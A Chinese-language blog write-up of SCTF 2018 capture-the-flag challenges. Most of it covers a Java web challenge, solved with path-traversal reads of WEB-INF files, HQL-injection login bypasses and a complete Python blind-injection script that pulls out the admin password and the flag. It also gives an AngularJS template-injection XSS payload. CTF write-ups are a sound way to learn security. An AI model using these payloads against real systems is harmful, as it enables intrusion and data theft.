[SCTF] sctf writeup

作者: ckj123 | 来源:发表于2018-06-21 22:09 被阅读147次

临近期末学长都不做题了=。=自己太菜不会做
绝望,开心的是我做了一道re。。

SCTF

web

Zhuanxv

上来啥东西都没有,先扫为敬
会发现有一个/list的目录跳转到了



这里有密码登陆,一看觉得是sql注入
查看源代码会发现有一个导入的地方



因为是javaweb所以可以通过这个来读取javaweb的文件
首先是121.196.195.244:9032/loadimage?fileName=../../WEB-INF/web.xml

再读取../../WEB-INF/classes/applicationContext.xml下的文件

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>
</beans>

可以看到有一个user.hbm.xml下载下来


然后把所有的class下载下来
com.cuitctf.service.impl.UserServiceImpl 对应于
../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl这样下载下来
拖下来所有的源码之后用 jd-gui就可以看源码了

可以看到匹配的规则了,然后name没有任何过滤
但是我做题的时候发现怎么都注入不出来

看到hibernate这是这个框架来执行sql语句
user.name=1'or''like''or''like'&user.password=aaaa
这样就可以直接登录了框架语句不是很理解学习一番=。=
但是
user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa可以把账号注出来
用hql 语句的子查询来查询flag
user.name=1'or('from''Flag')like'sctf{%25'or''like'&user.password=aaaa
又卡在还有特殊字符上了,最后的
怎么注入都注入不出来
出来的是

只能去注密码了再根据密码把flag注出来
aaa'%0aor%0a(select%0asubstring(password,1,1)%0afrom%0aUser%0awhere%0aname%0alike%0a'homamamama')%0alike%0a'a'%0aor%0a''like'
aa'%0aor%0a(select%0asubstring(welcometoourctf,1,1)%0afrom%0aFlag)%0alike%0a'a'%0aand%0a''like'

脚本

import requests
url = "http://ip/zhuanxvlogin"
# url = "http://localhost:9090/zhuanxvlogin"
def first():
    admin_password = ""
    for i in range(1,9):
        for n in range(30,140):
            guess = chr(n)
            if guess == "_" or guess == "%":
                continue
            username = "aaa'\nor\n(select\nsubstring(password,"+str(i)+",1)\nfrom\nUser\nwhere\nname\nlike\n'homamamama')\nlike\n'"+guess+"'\nor\n''like'"
            data = {"user.name": username, "user.password": "a"}
            req = requests.post(url, data=data, timeout=1000).text
            if len(req)>5000:
                admin_password = admin_password + guess
                print "admin password: "+ admin_password
                break
    return admin_password
def second(admin_password):
    flag = ""
    for i in range(1,50):
        for n in range(30,140):
            guess = chr(n)
            if guess == "_" or guess == "%":
                continue
            username = "aa'\nor\n(select\nsubstring(welcometoourctf,"+str(i)+",1)\nfrom\nFlag)\nlike\n'"+guess+"'\nand\n''like'"
            data = {"user.name": username, "user.password": admin_password}
            req = requests.post(url, data=data, timeout=1000).text
            if len(req)>5000:
                flag = flag + guess
                print "flag:" + flag
                break
admin_password = first()    
second(admin_password)

新的建议板

这道题没怎么看,我做的时候他们已经打到cookie啥的了
再做一遍学习一下xhr

注册登录之后发现一个留言板,肯定是XSS咯


可以看到他用了AngularJS这个框架就用模板注入

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

弹窗了,思路没错,就是模板注入
不过他有一定量的过滤就是会将document 变成 docu ment

re

Script In Script

web狗也可以做逆向了!
第一份代码是混淆=。=
解完之后那份才是真正的代码

misc

侧信道攻击

key=1的时候执行了add操作,消耗能量比key=0的时候多,含图中部分是1,不含为0,(手机排版捉急),



然后就是看图说话了,SCTF{0110111010}

神秘的交易

看图说话2
搜索4442卡,密钥三位,
有资料按资料学习



Modbus

flag就在流量包中慢慢翻就好了

Zhuanxv

这道题上来啥都没有扫一下站

re

Script In Script

web狗也可以做逆向了

misc

侧信道攻击

key=1的时候执行了add操作,消耗能量比key=0的时候多,含图中部分是1,不含为0,(手机排版捉急),



然后就是看图说话了,SCTF{0110111010}

神秘的交易

看图说话2
搜索4442卡,密钥三位,
有资料按资料学习



Modbus

flag就在流量包中慢慢翻就好了


期末了=。=过几天再说。

相关文章

  • [SCTF] sctf writeup

    临近期末学长都不做题了=。=自己太菜不会做绝望,开心的是我做了一道re。。 SCTF web Zhuanxv 上来...

  • SCTF 2018 web部分writeup

    转载声明 本文是转载文章,文章原作者theKingOfNight,文章来源:安全客 原文地址:https://ww...

  • SCTF 2018 Writeup — De1ta

    https://xz.aliyun.com/t/2405

  • session upload get shell

    以SCTF2018 BabySyc - Simple PHP为例子 官方正解:https://www.cnblog...

  • pwn----BUUCTF

    NO.00 pwn1_sctf_2016_sovle exp NO.01 warmup_csaw_2016_sov...

  • sctf2016

    http://www.vuln.cn/6473

  • sctf 2019 warmup

    server.py 这里主要用到一个如下原理: C = A xor B。若我们想得到X,则有以下推导C = A x...

  • 2019 SCTF babyre

    0x01 babyre 总共有三关 题目被做了手脚,导致第一关第二关无法F5,只能看汇编+动态调试 1.第一关 三...

  • CTF write up

    更详细的三叶草sctf http://www.freebuf.com/articles/web/54176.htm...

  • 10x Genomics PBMC(二):10x Genomic

    01_pbmc3k_sctf clp 03 June, 2020 请注意,本教程借用自Seurat website...

网友评论

    本文标题:[SCTF] sctf writeup

    本文链接:https://www.haomeiwen.com/subject/kmqqyftx.html